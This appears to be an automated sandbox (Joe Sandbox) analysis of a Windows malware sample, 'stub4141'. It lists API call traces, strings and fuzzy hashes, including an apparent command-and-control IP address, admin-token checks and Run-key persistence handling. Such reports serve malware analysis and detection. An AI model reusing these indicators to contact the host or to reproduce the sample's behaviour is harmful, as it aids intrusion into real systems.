SetEvent.KERNEL32(00000000,?,0041B236), ref: 00415E58
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0041B236), ref: 00415E70
CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415E85
SetEvent.KERNEL32(00000000,?,0041B236), ref: 00415E9B
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0041B236), ref: 00415EB3
CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415EC8
CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415EDE

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 9dbb9243adb9dcf2a536ad6f005748a835d256033fed94cf2da7f5b3c6130f73
Instruction ID: cda0da5aab5bf329a2b0603f0cd04ea92a4c6591674672bb815b56f0d2655c6a
Opcode Fuzzy Hash: 9dbb9243adb9dcf2a536ad6f005748a835d256033fed94cf2da7f5b3c6130f73
Instruction Fuzzy Hash: 8C31B230500600DFD3189B64EE8CBAA3376F744716F549A3DE211962B0CBB898C9CF9C

Function 020F6007 Relevance: 21.1, APIs: 14, Instructions: 80synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(0048C660), ref: 020F6023
WaitForSingleObject.KERNEL32(0048C664,000000FF), ref: 020F603B
CloseHandle.KERNEL32(0048C664), ref: 020F6051
SetEvent.KERNEL32(0048BC1C), ref: 020F6066
WaitForSingleObject.KERNEL32(0048BC20,000000FF), ref: 020F607E
CloseHandle.KERNEL32(0048BC20), ref: 020F6094
CloseHandle.KERNEL32(0048BC1C), ref: 020F60A9
SetEvent.KERNEL32(0048C3AC), ref: 020F60BF
WaitForSingleObject.KERNEL32(0048C3A8,000000FF), ref: 020F60D7
CloseHandle.KERNEL32(0048C3A8), ref: 020F60EC
SetEvent.KERNEL32(0048BC0C), ref: 020F6102
WaitForSingleObject.KERNEL32(0048BC10,000000FF), ref: 020F611A
CloseHandle.KERNEL32(0048BC10), ref: 020F612F
CloseHandle.KERNEL32(0048BC0C), ref: 020F6145

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 9dbb9243adb9dcf2a536ad6f005748a835d256033fed94cf2da7f5b3c6130f73
Instruction ID: 0a14905999ea2f20f46b28f8e978a701b97fcc6f59ca22b6fb12e5813e0f277b
Opcode Fuzzy Hash: 9dbb9243adb9dcf2a536ad6f005748a835d256033fed94cf2da7f5b3c6130f73
Instruction Fuzzy Hash: F931B4300003009FD7999B64EE8CB6A37BAF704719F145A3CE321569B0CBBA5489DF58

Function 0041A020 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 72windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0041A028
_memset.LIBCMT ref: 0041A03B
RegisterClassW.USER32(?), ref: 0041A05E
GetLastError.KERNEL32 ref: 0041A070
CreateWindowExW.USER32(00000000,{0BF297E1-66DA-42C0-8060-8FA8A88CF138},00436EB8,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041A0A4
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041A0C7
TranslateMessage.USER32(?), ref: 0041A0D5
DispatchMessageW.USER32(?), ref: 0041A0DF
DestroyWindow.USER32(00000000), ref: 0041A0ED
UnregisterClassW.USER32({0BF297E1-66DA-42C0-8060-8FA8A88CF138},00000000), ref: 0041A105

Strings

}H, xrefs: 0041A04A
{0BF297E1-66DA-42C0-8060-8FA8A88CF138}, xrefs: 0041A09D, 0041A100

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Message$ClassWindow$CreateDestroyDispatchErrorHandleLastModuleRegisterTranslateUnregister_memset
String ID: }H${0BF297E1-66DA-42C0-8060-8FA8A88CF138}
API String ID: 1736019982-1640342672
Opcode ID: 988ee25af0618ca3e7186fa5ebdd818045bdecd899f943b590b089a28518869f
Instruction ID: 6409d51f610c5336badc22b910b20a5049243eb8753d11bb98fdabc9f4d4ee90
Opcode Fuzzy Hash: 988ee25af0618ca3e7186fa5ebdd818045bdecd899f943b590b089a28518869f
Instruction Fuzzy Hash: 89219275940204AFDB04EFA0EE89BAE3B74BB08701F10D52EF601A6290DBB49645DB6D

Function 00421240 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 109stringsynchronizationCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(0048C500,82.147.85.218), ref: 00421294
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 004212D6
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004212E7
lstrcpyA.KERNEL32(?,0048C308), ref: 00421334
ReleaseMutex.KERNEL32(00000000), ref: 00421349
ReleaseMutex.KERNEL32(00000000), ref: 004212FB

Part of subcall function 004213D0: lstrlenW.KERNEL32(?), ref: 004213E9
Part of subcall function 004213D0: setsockopt.WS2_32(00000000,0000FFFF,00000080,?,00000004), ref: 00421490

lstrcpyA.KERNEL32(0048C500,?), ref: 0042138F

Strings

123, xrefs: 00421259, 00421359
82.147.85.218, xrefs: 0042126D, 0042128A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: lstrcpy$MutexReleaseWait$MultipleObjectObjectsSinglelstrlensetsockopt
String ID: 123$82.147.85.218
API String ID: 864648930-2504030990
Opcode ID: ea0ef30b8e52ccc61786ac142479ace7832d46eef43e9cae098b01321a102c9f
Instruction ID: 7966a82a872bbe3f49d0ccdfedac3812c5b6d3a7db0f5de4ba73d2d99d132a86
Opcode Fuzzy Hash: ea0ef30b8e52ccc61786ac142479ace7832d46eef43e9cae098b01321a102c9f
Instruction Fuzzy Hash: 8441D270B44214EFD718DBA0FD85F6E73B5AB18700F60892EF901A36A0D7B89945CB6C

Function 00404B90 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 86memoryprocessCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00404BA0
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 00404BBC
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00404BD1

Part of subcall function 00416BB0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00412696,004340B0), ref: 00416BD9

__snwprintf.LIBCMT ref: 00404C1D
_memset.LIBCMT ref: 00404C30
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00404C77
LocalFree.KERNEL32(00000000), ref: 00404C86
LocalFree.KERNEL32(00000000), ref: 00404C90
LocalFree.KERNEL32(00000000), ref: 00404CA1
LocalFree.KERNEL32(00000000), ref: 00404CAB

Strings

D, xrefs: 00404C38

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem__snwprintf_memsetlstrlen
String ID: D
API String ID: 2329958830-2746444292
Opcode ID: 40e66a2c15341e6d15e87ef3842fefdb85a079aa9224fe48c00dfbaa7f44de65
Instruction ID: a9d4fe90044cdbb51ede109cc2db268c3cc5c7dc0344554dc963f02d696c0f97
Opcode Fuzzy Hash: 40e66a2c15341e6d15e87ef3842fefdb85a079aa9224fe48c00dfbaa7f44de65
Instruction Fuzzy Hash: C03184B5A44208BFE750DBA0DC89FED77B8EF44700F1045A9F705A62D0DBB99A80CB54

Function 00412620 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 86memoryprocessCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00412630
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 0041264C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00412661

Part of subcall function 00416BB0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00412696,004340B0), ref: 00416BD9

__snwprintf.LIBCMT ref: 004126AD
_memset.LIBCMT ref: 004126C0
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00412707
LocalFree.KERNEL32(00000000), ref: 00412716
LocalFree.KERNEL32(00000000), ref: 00412720
LocalFree.KERNEL32(00000000), ref: 00412731
LocalFree.KERNEL32(00000000), ref: 0041273B

Strings

D, xrefs: 004126C8

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem__snwprintf_memsetlstrlen
String ID: D
API String ID: 2329958830-2746444292
Opcode ID: 57e4c16cb25940700d413420efaa3c042a7ea1eef822e520874089760750d634
Instruction ID: 5f2b433514cf3b6d5ab43b8e5ed4016d6e826fbda8746fec46143b723f0eed54
Opcode Fuzzy Hash: 57e4c16cb25940700d413420efaa3c042a7ea1eef822e520874089760750d634
Instruction Fuzzy Hash: D13152B5A40208BFD754DBA0DD89FEE77B8EF44700F1045A8F605A62D0DBB59AC4CB54

Function 020F2887 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 86memoryprocessCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020F2897
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 020F28B3
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020F28C8

Part of subcall function 020F6E17: lstrlenW.KERNEL32(?), ref: 020F6E40

__snwprintf.LIBCMT ref: 020F2914
_memset.LIBCMT ref: 020F2927
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 020F296E
LocalFree.KERNEL32(00000000), ref: 020F297D
LocalFree.KERNEL32(00000000), ref: 020F2987
LocalFree.KERNEL32(00000000), ref: 020F2998
LocalFree.KERNEL32(00000000), ref: 020F29A2

Strings

D, xrefs: 020F292F

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem__snwprintf_memsetlstrlen
String ID: D
API String ID: 2329958830-2746444292
Opcode ID: 6906d6c3d4eaf32343bf9d67e50e883a39db99d0b207465735f7d222ef03c171
Instruction ID: 6fa4e8e855922dd814c4eacadc8687a6a0953786f6117fef0f43150a20ddf333
Opcode Fuzzy Hash: 6906d6c3d4eaf32343bf9d67e50e883a39db99d0b207465735f7d222ef03c171
Instruction Fuzzy Hash: 69315EB1A40208BFEB50DBA0CC89FED77B9EF44700F1045A8E609A7190DB759A80CB54

Function 00405C20 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 80fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00405C40
_memset.LIBCMT ref: 00405C5F

Part of subcall function 0040A320: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0040A374
Part of subcall function 0040A320: lstrlenW.KERNEL32(?), ref: 0040A386
Part of subcall function 0040A320: lstrlenW.KERNEL32(00480318), ref: 0040A399
Part of subcall function 0040A320: LocalAlloc.KERNEL32(00000040,?), ref: 0040A3B2
Part of subcall function 0040A320: __snwprintf.LIBCMT ref: 0040A3DA
Part of subcall function 0040A320: lstrlenW.KERNEL32(00000000), ref: 0040A3E6
Part of subcall function 0040A320: CoTaskMemFree.COMBASE(?), ref: 0040A3F5

__snwprintf.LIBCMT ref: 00405CA6
__snwprintf.LIBCMT ref: 00405CCB
DeleteFileW.KERNEL32(?), ref: 00405CDA
RemoveDirectoryW.KERNEL32(00000000), ref: 00405CEC
LocalFree.KERNEL32(00000000), ref: 00405CFE
LocalFree.KERNEL32(00000000), ref: 00405D12
GetFileAttributesW.KERNEL32(?), ref: 00405D1F
GetFileAttributesW.KERNEL32(?), ref: 00405D35

Strings

%s%s, xrefs: 00405CBA

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FileFreeLocal__snwprintflstrlen$Attributes_memset$AllocDeleteDirectoryFolderKnownPathRemoveTask
String ID: %s%s
API String ID: 4117469550-3252725368
Opcode ID: 015b45663a614c22d36ae0a87c66b80de609d5d45f00516c2689630fe032bd84
Instruction ID: 92e1f82c1957bf9069d93116cecb02a832110b08cfed6b6e7edccc217d20b165
Opcode Fuzzy Hash: 015b45663a614c22d36ae0a87c66b80de609d5d45f00516c2689630fe032bd84
Instruction Fuzzy Hash: D0219871A402186BC750E7609C8DBEF7334EF54300F504AAAF619A61D0EBB8DAC58F99

Function 020FA287 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 020FA28F
_memset.LIBCMT ref: 020FA2A2
RegisterClassW.USER32(?), ref: 020FA2C5
GetLastError.KERNEL32 ref: 020FA2D7
CreateWindowExW.USER32(00000000,00487D0A,00436EB8,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0048C304,00000000), ref: 020FA30B
GetMessageW.USER32(?,0048C300,00000000,00000000), ref: 020FA32E
TranslateMessage.USER32(?), ref: 020FA33C
DispatchMessageW.USER32(?), ref: 020FA346
DestroyWindow.USER32(0048C300), ref: 020FA354
UnregisterClassW.USER32(00487D0A,0048C304), ref: 020FA36C

Strings

}H, xrefs: 020FA2B1

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Message$ClassWindow$CreateDestroyDispatchErrorHandleLastModuleRegisterTranslateUnregister_memset
String ID: }H
API String ID: 1736019982-272667357
Opcode ID: 4fe986e086ad7f3eeffd3d0dcecbf50af31e8a0f93f00ef4c24cc2675b0e94bc
Instruction ID: ed545b93f3f931144ab37137ff11b342aec991f1548c000b3b6e7b141a1fd8d3
Opcode Fuzzy Hash: 4fe986e086ad7f3eeffd3d0dcecbf50af31e8a0f93f00ef4c24cc2675b0e94bc
Instruction Fuzzy Hash: FD216271A40304EFDB44EFA0EE89BAD77B4FB44701F10D529FB0296190DBB49645DB68

Function 00404430 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 67registrymemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208), ref: 00404447
_memset.LIBCMT ref: 00404471
__snwprintf.LIBCMT ref: 0040448F
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,000F013F,?), ref: 004044AE
RegGetValueW.ADVAPI32(?,00000000,{12180D6E-433D-4FF2-A9AE-D6E6E5AD9E21},00000002,00000000,00000000,00000208), ref: 004044DC
RegCloseKey.ADVAPI32(?), ref: 004044EA
RegCloseKey.ADVAPI32(?), ref: 00404505
LocalFree.KERNEL32(00000000), ref: 0040450F

Strings

{12180D6E-433D-4FF2-A9AE-D6E6E5AD9E21}, xrefs: 004044D1
SOFTWARE\%s, xrefs: 0040447E
{96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}, xrefs: 00404479

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseLocal$AllocFreeOpenValue__snwprintf_memset
String ID: SOFTWARE\%s${12180D6E-433D-4FF2-A9AE-D6E6E5AD9E21}${96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}
API String ID: 3716387478-1674083330
Opcode ID: 3344430b3c0659312ca8ce0160fbeb8028b4c57c1b925153d655d83d770c5a74
Instruction ID: bf6b3c353e100f3d3e947a090de5e63e357d93a665b4fbb0a0091a4bc137d1a9
Opcode Fuzzy Hash: 3344430b3c0659312ca8ce0160fbeb8028b4c57c1b925153d655d83d770c5a74
Instruction Fuzzy Hash: E3215375A44308FBD710EFA0DC89FAE77B4AF48B04F5049A9B604A6181E7B59A40DB58

Function 00415BB9 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 111threadnetworkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415C3A
__snwprintf.LIBCMT ref: 00415C5F

Part of subcall function 00404CC0: _memset.LIBCMT ref: 00404CFF
Part of subcall function 00404CC0: _memset.LIBCMT ref: 00404D4A
Part of subcall function 00404CC0: CoInitializeEx.COMBASE(00000000,00000000), ref: 00404D94

LocalFree.KERNEL32(00000000), ref: 00415C99
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00415CE4
CreateThread.KERNEL32(00000000,00000000,00409650,00000000,00000000,00000000), ref: 00415D07
CloseHandle.KERNEL32(00000000), ref: 00415D24
WSAStartup.WS2_32(00000002,?), ref: 00415D33
CreateThread.KERNEL32(00000000,00000000,0041A970,00000000,00000000,00000000), ref: 00415D55
CreateThread.KERNEL32(00000000,00000000,004203D0,00000000,00000000,00000000), ref: 00415D6F

Part of subcall function 0041B750: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,0040127D), ref: 0041B78B
Part of subcall function 0041B750: CheckTokenMembership.ADVAPI32(00000000,0040127D,00000000), ref: 0041B7A4
Part of subcall function 0041B750: FreeSid.ADVAPI32(0040127D), ref: 0041B7B9

WSACleanup.WS2_32 ref: 00415D8A

Part of subcall function 0040A320: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0040A374
Part of subcall function 0040A320: lstrlenW.KERNEL32(?), ref: 0040A386
Part of subcall function 0040A320: lstrlenW.KERNEL32(00480318), ref: 0040A399
Part of subcall function 0040A320: LocalAlloc.KERNEL32(00000040,?), ref: 0040A3B2
Part of subcall function 0040A320: __snwprintf.LIBCMT ref: 0040A3DA
Part of subcall function 0040A320: lstrlenW.KERNEL32(00000000), ref: 0040A3E6
Part of subcall function 0040A320: CoTaskMemFree.COMBASE(?), ref: 0040A3F5

Strings

{DB324A97-B31B-4D9E-9903-E21DB623A349}, xrefs: 00415C7E
"%s%s", xrefs: 00415C4E

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Create$FreeThread_memsetlstrlen$InitializeLocal__snwprintf$AllocAllocateCheckCleanupCloseEventFolderHandleKnownMembershipPathStartupTaskToken
String ID: "%s%s"${DB324A97-B31B-4D9E-9903-E21DB623A349}
API String ID: 3184904793-854426599
Opcode ID: ce182089bf8ec85117a9f24bfc06119886d7bd700a6133e28436c2c99cc10800
Instruction ID: fd90b52a99fe6723591caad0513783a555129e26149581d04ae8d15120f7c271
Opcode Fuzzy Hash: ce182089bf8ec85117a9f24bfc06119886d7bd700a6133e28436c2c99cc10800
Instruction Fuzzy Hash: 82416270A40314EFE734AB60AD4ABE93264A745B05F50486EF309692E1E7F869C4CB5E

Function 00421A90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 86memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000027C), ref: 00421AA0
lstrcpyW.KERNEL32(0000001C,00480394), ref: 00421AD5

Part of subcall function 0041B750: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,0040127D), ref: 0041B78B
Part of subcall function 0041B750: CheckTokenMembership.ADVAPI32(00000000,0040127D,00000000), ref: 0041B7A4
Part of subcall function 0041B750: FreeSid.ADVAPI32(0040127D), ref: 0041B7B9

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00421AF4
LocalFree.KERNEL32(00000020), ref: 00421B02
LocalFree.KERNEL32(00000020), ref: 00421B36

Strings

%s [%d], xrefs: 00421B8D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FreeLocal$AllocAllocateCheckFileInitializeMembershipModuleNameTokenlstrcpy
String ID: %s [%d]
API String ID: 2255487582-2053052012
Opcode ID: e6eb0c58990bf8838480d280b7b7afc178507e5ef4df37a510e90fd9f30ac109
Instruction ID: 36d95d8156702ed4bbde3618b5c47dc291ecb964e729f478057c368acc3589a0
Opcode Fuzzy Hash: e6eb0c58990bf8838480d280b7b7afc178507e5ef4df37a510e90fd9f30ac109
Instruction Fuzzy Hash: F63190B4E00218AFDB14DFB4EC4DB9E77B0EF58305F5084E9E505A6261D7789A84CF98

Function 004168B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 004168B8
_memset.LIBCMT ref: 004168CB
RegisterClassW.USER32(?), ref: 004168EE
GetLastError.KERNEL32 ref: 00416900
CreateWindowExW.USER32(00000000,{F983AF6F-7091-440A-BBFE-773BA5FA60D2},0043489C,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00416934
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00416957
TranslateMessage.USER32(?), ref: 00416965
DispatchMessageW.USER32(?), ref: 0041696F
UnregisterClassW.USER32({F983AF6F-7091-440A-BBFE-773BA5FA60D2},00000000), ref: 00416995

Strings

{F983AF6F-7091-440A-BBFE-773BA5FA60D2}, xrefs: 004168DA, 0041692D, 00416990

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Message$Class$CreateDispatchErrorHandleLastModuleRegisterTranslateUnregisterWindow_memset
String ID: {F983AF6F-7091-440A-BBFE-773BA5FA60D2}
API String ID: 3243774618-3021755344
Opcode ID: f8f6ba0602e8db0cdc7bc2e743ec6304d467575222a3dcdffe3a11343d03dbde
Instruction ID: ebecd28c4327da7ef4ddad80ab9cbbe7738b899aa666378bc2db5f3baa59f81f
Opcode Fuzzy Hash: f8f6ba0602e8db0cdc7bc2e743ec6304d467575222a3dcdffe3a11343d03dbde
Instruction Fuzzy Hash: 79212FB1950204FFD704DFA0ED49B9EB7B4EB48701F50882DE601A6291D7B99584CFE9

Function 0040CB80 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,004010F7), ref: 0040CB9B
RegDeleteValueW.ADVAPI32(004010F7,StartValue,?,?,004010F7), ref: 0040CBAE
RegCloseKey.ADVAPI32(004010F7,?,?,004010F7), ref: 0040CBB8
RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,004010F7), ref: 0040CBD5
RegDeleteValueW.ADVAPI32(004010F7,StartValue,?,?,004010F7), ref: 0040CBE8
RegCloseKey.ADVAPI32(004010F7,?,?,004010F7), ref: 0040CBF2

Strings

StartValue, xrefs: 0040CBDF
StartValue, xrefs: 0040CBA5
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040CBCB
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040CB91

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$Software\Microsoft\Windows\CurrentVersion\Run$StartValue$StartValue
API String ID: 849931509-794566242
Opcode ID: 227a77f2cd17cdd41c6f6a44dd0abb07c29d6f6fc738adb936b7bbebae21a1fe
Instruction ID: 1ba093de093d36524d4d081692ba51df7e549142c51fd527a9e38391d52fd971
Opcode Fuzzy Hash: 227a77f2cd17cdd41c6f6a44dd0abb07c29d6f6fc738adb936b7bbebae21a1fe
Instruction Fuzzy Hash: 7201FF35600204EBC714DFE0AE89E6E7379EB46B41B20496EED05B2250E779EA04E728

Function 020EEBC7 Relevance: 16.6, APIs: 11, Instructions: 72memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020EEBDB
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020EEBFC
SHGetKnownFolderPath.SHELL32(00437A98,00000000,00000000,00000000), ref: 020EEC23
lstrlenW.KERNEL32(00000000), ref: 020EEC31
__snwprintf.LIBCMT ref: 020EEC5B
__snwprintf.LIBCMT ref: 020EEC75
LocalFree.KERNEL32(00000000), ref: 020EEC81
CoTaskMemFree.COMBASE(00000000), ref: 020EEC8B
CoTaskMemFree.COMBASE(00000000), ref: 020EEC9A
LocalFree.KERNEL32(00000000), ref: 020EECA4
LocalFree.KERNEL32(00000000), ref: 020EECAE

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocTask__snwprintf$FolderKnownPathlstrlen
String ID:
API String ID: 2558432158-0
Opcode ID: 365c22c4207e5557de03d168685dbde4845c7b819986bc310c40997ea21c83dd
Instruction ID: 72d32b18005638ef5bfc3adebf16bd3d5eb0e0ab3e19ce75e1f525d28f932423
Opcode Fuzzy Hash: 365c22c4207e5557de03d168685dbde4845c7b819986bc310c40997ea21c83dd
